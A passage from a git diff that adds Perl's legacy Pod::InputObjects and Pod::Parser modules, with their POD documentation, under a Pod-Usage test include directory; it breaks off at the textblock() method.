+
+=item package B<Pod::InteriorSequence>
+
+An object corresponding to an interior sequence command from the POD
+input text (see L<perlpod>).
+
+=item package B<Pod::ParseTree>
+
+An object corresponding to a tree of parsed POD text. Each "node" in
+a parse-tree (or I<ptree>) is either a text-string or a reference to
+a B<Pod::InteriorSequence> object. The nodes appear in the parse-tree
+in the order in which they were parsed from left-to-right.
+
+=back
+
+Each of these input objects are described in further detail in the
+sections which follow.
+
+=cut
+
+#############################################################################
+
+package Pod::InputSource;
+
+##---------------------------------------------------------------------------
+
+=begin __PRIVATE__
+
+=head1 B<Pod::InputSource>
+
+This object corresponds to an input source or stream of POD
+documentation. When parsing PODs, it is necessary to associate and store
+certain context information with each input source. All of this
+information is kept together with the stream itself in one of these
+C<Pod::InputSource> objects. Each such object is merely a wrapper around
+an C<IO::Handle> object of some kind (or at least something that
+implements the C<getline()> method). They have the following
+methods/attributes:
+
+=end __PRIVATE__
+
+=cut
+
+##---------------------------------------------------------------------------
+
+=begin __PRIVATE__
+
+=head2 B<new()>
+
+ my $pod_input1 = Pod::InputSource->new(-handle => $filehandle);
+ my $pod_input2 = new Pod::InputSource(-handle => $filehandle,
+ -name => $name);
+ my $pod_input3 = new Pod::InputSource(-handle => \*STDIN);
+ my $pod_input4 = Pod::InputSource->new(-handle => \*STDIN,
+ -name => "(STDIN)");
+
+This is a class method that constructs a C<Pod::InputSource> object and
+returns a reference to the new input source object. It takes one or more
+keyword arguments in the form of a hash. The keyword C<-handle> is
+required and designates the corresponding input handle. The keyword
+C<-name> is optional and specifies the name associated with the input
+handle (typically a file name).
+
+=end __PRIVATE__
+
+=cut
+
+sub new {
+ ## Determine if we were called via an object-ref or a classname
+ my $this = shift;
+ my $class = ref($this) || $this;
+
+ ## Any remaining arguments are treated as initial values for the
+ ## hash that is used to represent this object. Note that we default
+ ## certain values by specifying them *before* the arguments passed.
+ ## If they are in the argument list, they will override the defaults.
+ my $self = { -name => '(unknown)',
+ -handle => undef,
+ -was_cutting => 0,
+ @_ };
+
+ ## Bless ourselves into the desired class and perform any initialization
+ bless $self, $class;
+ return $self;
+}
+
+##---------------------------------------------------------------------------
+
+=begin __PRIVATE__
+
+=head2 B<name()>
+
+ my $filename = $pod_input->name();
+ $pod_input->name($new_filename_to_use);
+
+This method gets/sets the name of the input source (usually a filename).
+If no argument is given, it returns a string containing the name of
+the input source; otherwise it sets the name of the input source to the
+contents of the given argument.
+
+=end __PRIVATE__
+
+=cut
+
+sub name {
+ (@_ > 1) and $_[0]->{'-name'} = $_[1];
+ return $_[0]->{'-name'};
+}
+
+## allow 'filename' as an alias for 'name'
+*filename = \&name;
+
+##---------------------------------------------------------------------------
+
+=begin __PRIVATE__
+
+=head2 B<handle()>
+
+ my $handle = $pod_input->handle();
+
+Returns a reference to the handle object from which input is read (the
+one used to contructed this input source object).
+
+=end __PRIVATE__
+
+=cut
+
+sub handle {
+ return $_[0]->{'-handle'};
+}
+
+##---------------------------------------------------------------------------
+
+=begin __PRIVATE__
+
+=head2 B<was_cutting()>
+
+ print "Yes.\n" if ($pod_input->was_cutting());
+
+The value of the C<cutting> state (that the B<cutting()> method would
+have returned) immediately before any input was read from this input
+stream. After all input from this stream has been read, the C<cutting>
+state is restored to this value.
+
+=end __PRIVATE__
+
+=cut
+
+sub was_cutting {
+ (@_ > 1) and $_[0]->{-was_cutting} = $_[1];
+ return $_[0]->{-was_cutting};
+}
+
+##---------------------------------------------------------------------------
+
+#############################################################################
+
+package Pod::Paragraph;
+
+##---------------------------------------------------------------------------
+
+=head1 B<Pod::Paragraph>
+
+An object representing a paragraph of POD input text.
+It has the following methods/attributes:
+
+=cut
+
+##---------------------------------------------------------------------------
+
+=head2 Pod::Paragraph-E<gt>B<new()>
+
+ my $pod_para1 = Pod::Paragraph->new(-text => $text);
+ my $pod_para2 = Pod::Paragraph->new(-name => $cmd,
+ -text => $text);
+ my $pod_para3 = new Pod::Paragraph(-text => $text);
+ my $pod_para4 = new Pod::Paragraph(-name => $cmd,
+ -text => $text);
+ my $pod_para5 = Pod::Paragraph->new(-name => $cmd,
+ -text => $text,
+ -file => $filename,
+ -line => $line_number);
+
+This is a class method that constructs a C<Pod::Paragraph> object and
+returns a reference to the new paragraph object. It may be given one or
+two keyword arguments. The C<-text> keyword indicates the corresponding
+text of the POD paragraph. The C<-name> keyword indicates the name of
+the corresponding POD command, such as C<head1> or C<item> (it should
+I<not> contain the C<=> prefix); this is needed only if the POD
+paragraph corresponds to a command paragraph. The C<-file> and C<-line>
+keywords indicate the filename and line number corresponding to the
+beginning of the paragraph
+
+=cut
+
+sub new {
+ ## Determine if we were called via an object-ref or a classname
+ my $this = shift;
+ my $class = ref($this) || $this;
+
+ ## Any remaining arguments are treated as initial values for the
+ ## hash that is used to represent this object. Note that we default
+ ## certain values by specifying them *before* the arguments passed.
+ ## If they are in the argument list, they will override the defaults.
+ my $self = {
+ -name => undef,
+ -text => (@_ == 1) ? shift : undef,
+ -file => '<unknown-file>',
+ -line => 0,
+ -prefix => '=',
+ -separator => ' ',
+ -ptree => [],
+ @_
+ };
+
+ ## Bless ourselves into the desired class and perform any initialization
+ bless $self, $class;
+ return $self;
+}
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_para-E<gt>B<cmd_name()>
+
+ my $para_cmd = $pod_para->cmd_name();
+
+If this paragraph is a command paragraph, then this method will return
+the name of the command (I<without> any leading C<=> prefix).
+
+=cut
+
+sub cmd_name {
+ (@_ > 1) and $_[0]->{'-name'} = $_[1];
+ return $_[0]->{'-name'};
+}
+
+## let name() be an alias for cmd_name()
+*name = \&cmd_name;
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_para-E<gt>B<text()>
+
+ my $para_text = $pod_para->text();
+
+This method will return the corresponding text of the paragraph.
+
+=cut
+
+sub text {
+ (@_ > 1) and $_[0]->{'-text'} = $_[1];
+ return $_[0]->{'-text'};
+}
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_para-E<gt>B<raw_text()>
+
+ my $raw_pod_para = $pod_para->raw_text();
+
+This method will return the I<raw> text of the POD paragraph, exactly
+as it appeared in the input.
+
+=cut
+
+sub raw_text {
+ return $_[0]->{'-text'} unless (defined $_[0]->{'-name'});
+ return $_[0]->{'-prefix'} . $_[0]->{'-name'} .
+ $_[0]->{'-separator'} . $_[0]->{'-text'};
+}
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_para-E<gt>B<cmd_prefix()>
+
+ my $prefix = $pod_para->cmd_prefix();
+
+If this paragraph is a command paragraph, then this method will return
+the prefix used to denote the command (which should be the string "="
+or "==").
+
+=cut
+
+sub cmd_prefix {
+ return $_[0]->{'-prefix'};
+}
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_para-E<gt>B<cmd_separator()>
+
+ my $separator = $pod_para->cmd_separator();
+
+If this paragraph is a command paragraph, then this method will return
+the text used to separate the command name from the rest of the
+paragraph (if any).
+
+=cut
+
+sub cmd_separator {
+ return $_[0]->{'-separator'};
+}
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_para-E<gt>B<parse_tree()>
+
+ my $ptree = $pod_parser->parse_text( $pod_para->text() );
+ $pod_para->parse_tree( $ptree );
+ $ptree = $pod_para->parse_tree();
+
+This method will get/set the corresponding parse-tree of the paragraph's text.
+
+=cut
+
+sub parse_tree {
+ (@_ > 1) and $_[0]->{'-ptree'} = $_[1];
+ return $_[0]->{'-ptree'};
+}
+
+## let ptree() be an alias for parse_tree()
+*ptree = \&parse_tree;
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_para-E<gt>B<file_line()>
+
+ my ($filename, $line_number) = $pod_para->file_line();
+ my $position = $pod_para->file_line();
+
+Returns the current filename and line number for the paragraph
+object. If called in a list context, it returns a list of two
+elements: first the filename, then the line number. If called in
+a scalar context, it returns a string containing the filename, followed
+by a colon (':'), followed by the line number.
+
+=cut
+
+sub file_line {
+ my @loc = ($_[0]->{'-file'} || '<unknown-file>',
+ $_[0]->{'-line'} || 0);
+ return (wantarray) ? @loc : join(':', @loc);
+}
+
+##---------------------------------------------------------------------------
+
+#############################################################################
+
+package Pod::InteriorSequence;
+
+##---------------------------------------------------------------------------
+
+=head1 B<Pod::InteriorSequence>
+
+An object representing a POD interior sequence command.
+It has the following methods/attributes:
+
+=cut
+
+##---------------------------------------------------------------------------
+
+=head2 Pod::InteriorSequence-E<gt>B<new()>
+
+ my $pod_seq1 = Pod::InteriorSequence->new(-name => $cmd
+ -ldelim => $delimiter);
+ my $pod_seq2 = new Pod::InteriorSequence(-name => $cmd,
+ -ldelim => $delimiter);
+ my $pod_seq3 = new Pod::InteriorSequence(-name => $cmd,
+ -ldelim => $delimiter,
+ -file => $filename,
+ -line => $line_number);
+
+ my $pod_seq4 = new Pod::InteriorSequence(-name => $cmd, $ptree);
+ my $pod_seq5 = new Pod::InteriorSequence($cmd, $ptree);
+
+This is a class method that constructs a C<Pod::InteriorSequence> object
+and returns a reference to the new interior sequence object. It should
+be given two keyword arguments. The C<-ldelim> keyword indicates the
+corresponding left-delimiter of the interior sequence (e.g. 'E<lt>').
+The C<-name> keyword indicates the name of the corresponding interior
+sequence command, such as C<I> or C<B> or C<C>. The C<-file> and
+C<-line> keywords indicate the filename and line number corresponding
+to the beginning of the interior sequence. If the C<$ptree> argument is
+given, it must be the last argument, and it must be either string, or
+else an array-ref suitable for passing to B<Pod::ParseTree::new> (or
+it may be a reference to a Pod::ParseTree object).
+
+=cut
+
+sub new {
+ ## Determine if we were called via an object-ref or a classname
+ my $this = shift;
+ my $class = ref($this) || $this;
+
+ ## See if first argument has no keyword
+ if (((@_ <= 2) or (@_ % 2)) and $_[0] !~ /^-\w/) {
+ ## Yup - need an implicit '-name' before first parameter
+ unshift @_, '-name';
+ }
+
+ ## See if odd number of args
+ if ((@_ % 2) != 0) {
+ ## Yup - need an implicit '-ptree' before the last parameter
+ splice @_, $#_, 0, '-ptree';
+ }
+
+ ## Any remaining arguments are treated as initial values for the
+ ## hash that is used to represent this object. Note that we default
+ ## certain values by specifying them *before* the arguments passed.
+ ## If they are in the argument list, they will override the defaults.
+ my $self = {
+ -name => (@_ == 1) ? $_[0] : undef,
+ -file => '<unknown-file>',
+ -line => 0,
+ -ldelim => '<',
+ -rdelim => '>',
+ @_
+ };
+
+ ## Initialize contents if they havent been already
+ my $ptree = $self->{'-ptree'} || new Pod::ParseTree();
+ if ( ref $ptree =~ /^(ARRAY)?$/ ) {
+ ## We have an array-ref, or a normal scalar. Pass it as an
+ ## an argument to the ptree-constructor
+ $ptree = new Pod::ParseTree($1 ? [$ptree] : $ptree);
+ }
+ $self->{'-ptree'} = $ptree;
+
+ ## Bless ourselves into the desired class and perform any initialization
+ bless $self, $class;
+ return $self;
+}
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_seq-E<gt>B<cmd_name()>
+
+ my $seq_cmd = $pod_seq->cmd_name();
+
+The name of the interior sequence command.
+
+=cut
+
+sub cmd_name {
+ (@_ > 1) and $_[0]->{'-name'} = $_[1];
+ return $_[0]->{'-name'};
+}
+
+## let name() be an alias for cmd_name()
+*name = \&cmd_name;
+
+##---------------------------------------------------------------------------
+
+## Private subroutine to set the parent pointer of all the given
+## children that are interior-sequences to be $self
+
+sub _set_child2parent_links {
+ my ($self, @children) = @_;
+ ## Make sure any sequences know who their parent is
+ for (@children) {
+ next unless (length and ref and ref ne 'SCALAR');
+ if (UNIVERSAL::isa($_, 'Pod::InteriorSequence') or
+ UNIVERSAL::can($_, 'nested'))
+ {
+ $_->nested($self);
+ }
+ }
+}
+
+## Private subroutine to unset child->parent links
+
+sub _unset_child2parent_links {
+ my $self = shift;
+ $self->{'-parent_sequence'} = undef;
+ my $ptree = $self->{'-ptree'};
+ for (@$ptree) {
+ next unless (length and ref and ref ne 'SCALAR');
+ $_->_unset_child2parent_links()
+ if UNIVERSAL::isa($_, 'Pod::InteriorSequence');
+ }
+}
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_seq-E<gt>B<prepend()>
+
+ $pod_seq->prepend($text);
+ $pod_seq1->prepend($pod_seq2);
+
+Prepends the given string or parse-tree or sequence object to the parse-tree
+of this interior sequence.
+
+=cut
+
+sub prepend {
+ my $self = shift;
+ $self->{'-ptree'}->prepend(@_);
+ _set_child2parent_links($self, @_);
+ return $self;
+}
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_seq-E<gt>B<append()>
+
+ $pod_seq->append($text);
+ $pod_seq1->append($pod_seq2);
+
+Appends the given string or parse-tree or sequence object to the parse-tree
+of this interior sequence.
+
+=cut
+
+sub append {
+ my $self = shift;
+ $self->{'-ptree'}->append(@_);
+ _set_child2parent_links($self, @_);
+ return $self;
+}
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_seq-E<gt>B<nested()>
+
+ $outer_seq = $pod_seq->nested || print "not nested";
+
+If this interior sequence is nested inside of another interior
+sequence, then the outer/parent sequence that contains it is
+returned. Otherwise C<undef> is returned.
+
+=cut
+
+sub nested {
+ my $self = shift;
+ (@_ == 1) and $self->{'-parent_sequence'} = shift;
+ return $self->{'-parent_sequence'} || undef;
+}
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_seq-E<gt>B<raw_text()>
+
+ my $seq_raw_text = $pod_seq->raw_text();
+
+This method will return the I<raw> text of the POD interior sequence,
+exactly as it appeared in the input.
+
+=cut
+
+sub raw_text {
+ my $self = shift;
+ my $text = $self->{'-name'} . $self->{'-ldelim'};
+ for ( $self->{'-ptree'}->children ) {
+ $text .= (ref $_) ? $_->raw_text : $_;
+ }
+ $text .= $self->{'-rdelim'};
+ return $text;
+}
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_seq-E<gt>B<left_delimiter()>
+
+ my $ldelim = $pod_seq->left_delimiter();
+
+The leftmost delimiter beginning the argument text to the interior
+sequence (should be "<").
+
+=cut
+
+sub left_delimiter {
+ (@_ > 1) and $_[0]->{'-ldelim'} = $_[1];
+ return $_[0]->{'-ldelim'};
+}
+
+## let ldelim() be an alias for left_delimiter()
+*ldelim = \&left_delimiter;
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_seq-E<gt>B<right_delimiter()>
+
+The rightmost delimiter beginning the argument text to the interior
+sequence (should be ">").
+
+=cut
+
+sub right_delimiter {
+ (@_ > 1) and $_[0]->{'-rdelim'} = $_[1];
+ return $_[0]->{'-rdelim'};
+}
+
+## let rdelim() be an alias for right_delimiter()
+*rdelim = \&right_delimiter;
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_seq-E<gt>B<parse_tree()>
+
+ my $ptree = $pod_parser->parse_text($paragraph_text);
+ $pod_seq->parse_tree( $ptree );
+ $ptree = $pod_seq->parse_tree();
+
+This method will get/set the corresponding parse-tree of the interior
+sequence's text.
+
+=cut
+
+sub parse_tree {
+ (@_ > 1) and $_[0]->{'-ptree'} = $_[1];
+ return $_[0]->{'-ptree'};
+}
+
+## let ptree() be an alias for parse_tree()
+*ptree = \&parse_tree;
+
+##---------------------------------------------------------------------------
+
+=head2 $pod_seq-E<gt>B<file_line()>
+
+ my ($filename, $line_number) = $pod_seq->file_line();
+ my $position = $pod_seq->file_line();
+
+Returns the current filename and line number for the interior sequence
+object. If called in a list context, it returns a list of two
+elements: first the filename, then the line number. If called in
+a scalar context, it returns a string containing the filename, followed
+by a colon (':'), followed by the line number.
+
+=cut
+
+sub file_line {
+ my @loc = ($_[0]->{'-file'} || '<unknown-file>',
+ $_[0]->{'-line'} || 0);
+ return (wantarray) ? @loc : join(':', @loc);
+}
+
+##---------------------------------------------------------------------------
+
+=head2 Pod::InteriorSequence::B<DESTROY()>
+
+This method performs any necessary cleanup for the interior-sequence.
+If you override this method then it is B<imperative> that you invoke
+the parent method from within your own method, otherwise
+I<interior-sequence storage will not be reclaimed upon destruction!>
+
+=cut
+
+sub DESTROY {
+ ## We need to get rid of all child->parent pointers throughout the
+ ## tree so their reference counts will go to zero and they can be
+ ## garbage-collected
+ _unset_child2parent_links(@_);
+}
+
+##---------------------------------------------------------------------------
+
+#############################################################################
+
+package Pod::ParseTree;
+
+##---------------------------------------------------------------------------
+
+=head1 B<Pod::ParseTree>
+
+This object corresponds to a tree of parsed POD text. As POD text is
+scanned from left to right, it is parsed into an ordered list of
+text-strings and B<Pod::InteriorSequence> objects (in order of
+appearance). A B<Pod::ParseTree> object corresponds to this list of
+strings and sequences. Each interior sequence in the parse-tree may
+itself contain a parse-tree (since interior sequences may be nested).
+
+=cut
+
+##---------------------------------------------------------------------------
+
+=head2 Pod::ParseTree-E<gt>B<new()>
+
+ my $ptree1 = Pod::ParseTree->new;
+ my $ptree2 = new Pod::ParseTree;
+ my $ptree4 = Pod::ParseTree->new($array_ref);
+ my $ptree3 = new Pod::ParseTree($array_ref);
+
+This is a class method that constructs a C<Pod::Parse_tree> object and
+returns a reference to the new parse-tree. If a single-argument is given,
+it must be a reference to an array, and is used to initialize the root
+(top) of the parse tree.
+
+=cut
+
+sub new {
+ ## Determine if we were called via an object-ref or a classname
+ my $this = shift;
+ my $class = ref($this) || $this;
+
+ my $self = (@_ == 1 and ref $_[0]) ? $_[0] : [];
+
+ ## Bless ourselves into the desired class and perform any initialization
+ bless $self, $class;
+ return $self;
+}
+
+##---------------------------------------------------------------------------
+
+=head2 $ptree-E<gt>B<top()>
+
+ my $top_node = $ptree->top();
+ $ptree->top( $top_node );
+ $ptree->top( @children );
+
+This method gets/sets the top node of the parse-tree. If no arguments are
+given, it returns the topmost node in the tree (the root), which is also
+a B<Pod::ParseTree>. If it is given a single argument that is a reference,
+then the reference is assumed to a parse-tree and becomes the new top node.
+Otherwise, if arguments are given, they are treated as the new list of
+children for the top node.
+
+=cut
+
+sub top {
+ my $self = shift;
+ if (@_ > 0) {
+ @{ $self } = (@_ == 1 and ref $_[0]) ? ${ @_ } : @_;
+ }
+ return $self;
+}
+
+## let parse_tree() & ptree() be aliases for the 'top' method
+*parse_tree = *ptree = \&top;
+
+##---------------------------------------------------------------------------
+
+=head2 $ptree-E<gt>B<children()>
+
+This method gets/sets the children of the top node in the parse-tree.
+If no arguments are given, it returns the list (array) of children
+(each of which should be either a string or a B<Pod::InteriorSequence>.
+Otherwise, if arguments are given, they are treated as the new list of
+children for the top node.
+
+=cut
+
+sub children {
+ my $self = shift;
+ if (@_ > 0) {
+ @{ $self } = (@_ == 1 and ref $_[0]) ? ${ @_ } : @_;
+ }
+ return @{ $self };
+}
+
+##---------------------------------------------------------------------------
+
+=head2 $ptree-E<gt>B<prepend()>
+
+This method prepends the given text or parse-tree to the current parse-tree.
+If the first item on the parse-tree is text and the argument is also text,
+then the text is prepended to the first item (not added as a separate string).
+Otherwise the argument is added as a new string or parse-tree I<before>
+the current one.
+
+=cut
+
+use vars qw(@ptree); ## an alias used for performance reasons
+
+sub prepend {
+ my $self = shift;
+ local *ptree = $self;
+ for (@_) {
+ next unless length;
+ if (@ptree && !(ref $ptree[0]) && !(ref $_)) {
+ $ptree[0] = $_ . $ptree[0];
+ }
+ else {
+ unshift @ptree, $_;
+ }
+ }
+}
+
+##---------------------------------------------------------------------------
+
+=head2 $ptree-E<gt>B<append()>
+
+This method appends the given text or parse-tree to the current parse-tree.
+If the last item on the parse-tree is text and the argument is also text,
+then the text is appended to the last item (not added as a separate string).
+Otherwise the argument is added as a new string or parse-tree I<after>
+the current one.
+
+=cut
+
+sub append {
+ my $self = shift;
+ local *ptree = $self;
+ my $can_append = @ptree && !(ref $ptree[-1]);
+ for (@_) {
+ if (ref) {
+ push @ptree, $_;
+ }
+ elsif(!length) {
+ next;
+ }
+ elsif ($can_append) {
+ $ptree[-1] .= $_;
+ }
+ else {
+ push @ptree, $_;
+ }
+ }
+}
+
+=head2 $ptree-E<gt>B<raw_text()>
+
+ my $ptree_raw_text = $ptree->raw_text();
+
+This method will return the I<raw> text of the POD parse-tree
+exactly as it appeared in the input.
+
+=cut
+
+sub raw_text {
+ my $self = shift;
+ my $text = '';
+ for ( @$self ) {
+ $text .= (ref $_) ? $_->raw_text : $_;
+ }
+ return $text;
+}
+
+##---------------------------------------------------------------------------
+
+## Private routines to set/unset child->parent links
+
+sub _unset_child2parent_links {
+ my $self = shift;
+ local *ptree = $self;
+ for (@ptree) {
+ next unless (defined and length and ref and ref ne 'SCALAR');
+ $_->_unset_child2parent_links()
+ if UNIVERSAL::isa($_, 'Pod::InteriorSequence');
+ }
+}
+
+sub _set_child2parent_links {
+ ## nothing to do, Pod::ParseTrees cant have parent pointers
+}
+
+=head2 Pod::ParseTree::B<DESTROY()>
+
+This method performs any necessary cleanup for the parse-tree.
+If you override this method then it is B<imperative>
+that you invoke the parent method from within your own method,
+otherwise I<parse-tree storage will not be reclaimed upon destruction!>
+
+=cut
+
+sub DESTROY {
+ ## We need to get rid of all child->parent pointers throughout the
+ ## tree so their reference counts will go to zero and they can be
+ ## garbage-collected
+ _unset_child2parent_links(@_);
+}
+
+#############################################################################
+
+=head1 SEE ALSO
+
+B<Pod::InputObjects> is part of the L<Pod::Parser> distribution.
+
+See L<Pod::Parser>, L<Pod::Select>
+
+=head1 AUTHOR
+
+Please report bugs using L<http://rt.cpan.org>.
+
+Brad Appleton E<lt>bradapp@enteract.comE<gt>
+
+=cut
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/Parser.pm b/gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/Parser.pm
new file mode 100644
index 00000000000..4b4fecfbdd0
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/Parser.pm
@@ -0,0 +1,1836 @@
+#############################################################################
+# Pod/Parser.pm -- package which defines a base class for parsing POD docs.
+#
+# Copyright (C) 1996-2000 by Bradford Appleton. All rights reserved.
+# This file is part of "PodParser". PodParser is free software;
+# you can redistribute it and/or modify it under the same terms
+# as Perl itself.
+#############################################################################
+
+package Pod::Parser;
+use strict;
+
+## These "variables" are used as local "glob aliases" for performance
+use vars qw($VERSION @ISA %myData %myOpts @input_stack);
+$VERSION = '1.60'; ## Current version of this package
+require 5.005; ## requires this Perl version or later
+
+#############################################################################
+
+=head1 NAME
+
+Pod::Parser - base class for creating POD filters and translators
+
+=head1 SYNOPSIS
+
+ use Pod::Parser;
+
+ package MyParser;
+ @ISA = qw(Pod::Parser);
+
+ sub command {
+ my ($parser, $command, $paragraph, $line_num) = @_;
+ ## Interpret the command and its text; sample actions might be:
+ if ($command eq 'head1') { ... }
+ elsif ($command eq 'head2') { ... }
+ ## ... other commands and their actions
+ my $out_fh = $parser->output_handle();
+ my $expansion = $parser->interpolate($paragraph, $line_num);
+ print $out_fh $expansion;
+ }
+
+ sub verbatim {
+ my ($parser, $paragraph, $line_num) = @_;
+ ## Format verbatim paragraph; sample actions might be:
+ my $out_fh = $parser->output_handle();
+ print $out_fh $paragraph;
+ }
+
+ sub textblock {
+ my ($parser, $paragraph, $line_num) = @_;
+ ## Translate/Format this block of text; sample actions might be:
+ my $out_fh = $parser->output_handle();
+ my $expansion = $parser->interpolate($paragraph, $line_num);
+ print $out_fh $expansion;
+ }
+
+ sub interior_sequence {
+ my ($parser, $seq_command, $seq_argument) = @_;
+ ## Expand an interior sequence; sample actions might be:
+ return "*$seq_argument*" if ($seq_command eq 'B');
+ return "`$seq_argument'" if ($seq_command eq 'C');
+ return "_${seq_argument}_'" if ($seq_command eq 'I');
+ ## ... other sequence commands and their resulting text
+ }
+
+ package main;
+
+ ## Create a parser object and have it parse file whose name was
+ ## given on the command-line (use STDIN if no files were given).
+ $parser = new MyParser();
+ $parser->parse_from_filehandle(\*STDIN) if (@ARGV == 0);
+ for (@ARGV) { $parser->parse_from_file($_); }
+
+=head1 REQUIRES
+
+perl5.005, Pod::InputObjects, Exporter, Symbol, Carp
+
+=head1 EXPORTS
+
+Nothing.
+
+=head1 DESCRIPTION
+
+B<Pod::Parser> is a base class for creating POD filters and translators.
+It handles most of the effort involved with parsing the POD sections
+from an input stream, leaving subclasses free to be concerned only with
+performing the actual translation of text.
+
+B<Pod::Parser> parses PODs, and makes method calls to handle the various
+components of the POD. Subclasses of B<Pod::Parser> override these methods
+to translate the POD into whatever output format they desire.
+
+Note: This module is considered as legacy; modern Perl releases (5.18 and
+higher) are going to remove Pod::Parser from core and use L<Pod::Simple>
+for all things POD.
+
+=head1 QUICK OVERVIEW
+
+To create a POD filter for translating POD documentation into some other
+format, you create a subclass of B<Pod::Parser> which typically overrides
+just the base class implementation for the following methods:
+
+=over 2
+
+=item *
+
+B<command()>
+
+=item *
+
+B<verbatim()>
+
+=item *
+
+B<textblock()>
+
+=item *
+
+B<interior_sequence()>
+
+=back
+
+You may also want to override the B<begin_input()> and B<end_input()>
+methods for your subclass (to perform any needed per-file and/or
+per-document initialization or cleanup).
+
+If you need to perform any preprocessing of input before it is parsed
+you may want to override one or more of B<preprocess_line()> and/or
+B<preprocess_paragraph()>.
+
+Sometimes it may be necessary to make more than one pass over the input
+files. If this is the case you have several options. You can make the
+first pass using B<Pod::Parser> and override your methods to store the
+intermediate results in memory somewhere for the B<end_pod()> method to
+process. You could use B<Pod::Parser> for several passes with an
+appropriate state variable to control the operation for each pass. If
+your input source can't be reset to start at the beginning, you can
+store it in some other structure as a string or an array and have that
+structure implement a B<getline()> method (which is all that
+B<parse_from_filehandle()> uses to read input).
+
+Feel free to add any member data fields you need to keep track of things
+like current font, indentation, horizontal or vertical position, or
+whatever else you like. Be sure to read L<"PRIVATE METHODS AND DATA">
+to avoid name collisions.
+
+For the most part, the B<Pod::Parser> base class should be able to
+do most of the input parsing for you and leave you free to worry about
+how to interpret the commands and translate the result.
+
+Note that all we have described here in this quick overview is the
+simplest most straightforward use of B<Pod::Parser> to do stream-based
+parsing. It is also possible to use the B<Pod::Parser::parse_text> function
+to do more sophisticated tree-based parsing. See L<"TREE-BASED PARSING">.
+
+=head1 PARSING OPTIONS
+
+A I<parse-option> is simply a named option of B<Pod::Parser> with a
+value that corresponds to a certain specified behavior. These various
+behaviors of B<Pod::Parser> may be enabled/disabled by setting
+or unsetting one or more I<parse-options> using the B<parseopts()> method.
+The set of currently accepted parse-options is as follows:
+
+=over 3
+
+=item B<-want_nonPODs> (default: unset)
+
+Normally (by default) B<Pod::Parser> will only provide access to
+the POD sections of the input. Input paragraphs that are not part
+of the POD-format documentation are not made available to the caller
+(not even using B<preprocess_paragraph()>). Setting this option to a
+non-empty, non-zero value will allow B<preprocess_paragraph()> to see
+non-POD sections of the input as well as POD sections. The B<cutting()>
+method can be used to determine if the corresponding paragraph is a POD
+paragraph, or some other input paragraph.
+
+=item B<-process_cut_cmd> (default: unset)
+
+Normally (by default) B<Pod::Parser> handles the C<=cut> POD directive
+by itself and does not pass it on to the caller for processing. Setting
+this option to a non-empty, non-zero value will cause B<Pod::Parser> to
+pass the C<=cut> directive to the caller just like any other POD command
+(and hence it may be processed by the B<command()> method).
+
+B<Pod::Parser> will still interpret the C<=cut> directive to mean that
+"cutting mode" has been (re)entered, but the caller will get a chance
+to capture the actual C<=cut> paragraph itself for whatever purpose
+it desires.
+
+=item B<-warnings> (default: unset)
+
+Normally (by default) B<Pod::Parser> recognizes a bare minimum of
+pod syntax errors and warnings and issues diagnostic messages
+for errors, but not for warnings. (Use B<Pod::Checker> to do more
+thorough checking of POD syntax.) Setting this option to a non-empty,
+non-zero value will cause B<Pod::Parser> to issue diagnostics for
+the few warnings it recognizes as well as the errors.
+
+=back
+
+Please see L<"parseopts()"> for a complete description of the interface
+for the setting and unsetting of parse-options.
+
+=cut
+
+#############################################################################
+
+#use diagnostics;
+use Pod::InputObjects;
+use Carp;
+use Exporter;
+BEGIN {
+ if ($] < 5.006) {
+ require Symbol;
+ import Symbol;
+ }
+}
+@ISA = qw(Exporter);
+
+#############################################################################
+
+=head1 RECOMMENDED SUBROUTINE/METHOD OVERRIDES
+
+B<Pod::Parser> provides several methods which most subclasses will probably
+want to override. These methods are as follows:
+
+=cut
+
+##---------------------------------------------------------------------------
+
+=head1 B<command()>
+
+ $parser->command($cmd,$text,$line_num,$pod_para);
+
+This method should be overridden by subclasses to take the appropriate
+action when a POD command paragraph (denoted by a line beginning with
+"=") is encountered. When such a POD directive is seen in the input,
+this method is called and is passed:
+
+=over 3
+
+=item C<$cmd>
+
+the name of the command for this POD paragraph
+
+=item C<$text>
+
+the paragraph text for the given POD paragraph command.
+
+=item C<$line_num>
+
+the line-number of the beginning of the paragraph
+
+=item C<$pod_para>
+
+a reference to a C<Pod::Paragraph> object which contains further
+information about the paragraph command (see L<Pod::InputObjects>
+for details).
+
+=back
+
+B<Note> that this method I<is> called for C<=pod> paragraphs.
+
+The base class implementation of this method simply treats the raw POD
+command as normal block of paragraph text (invoking the B<textblock()>
+method with the command paragraph).
+
+=cut
+
+sub command {
+ my ($self, $cmd, $text, $line_num, $pod_para) = @_;
+ ## Just treat this like a textblock
+ $self->textblock($pod_para->raw_text(), $line_num, $pod_para);
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<verbatim()>
+
+ $parser->verbatim($text,$line_num,$pod_para);
+
+This method may be overridden by subclasses to take the appropriate
+action when a block of verbatim text is encountered. It is passed the
+following parameters:
+
+=over 3
+
+=item C<$text>
+
+the block of text for the verbatim paragraph
+
+=item C<$line_num>
+
+the line-number of the beginning of the paragraph
+
+=item C<$pod_para>
+
+a reference to a C<Pod::Paragraph> object which contains further
+information about the paragraph (see L<Pod::InputObjects>
+for details).
+
+=back
+
+The base class implementation of this method simply prints the textblock
+(unmodified) to the output filehandle.
+
+=cut
+
+sub verbatim {
+ my ($self, $text, $line_num, $pod_para) = @_;
+ my $out_fh = $self->{_OUTPUT};
+ print $out_fh $text;
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<textblock()>
+
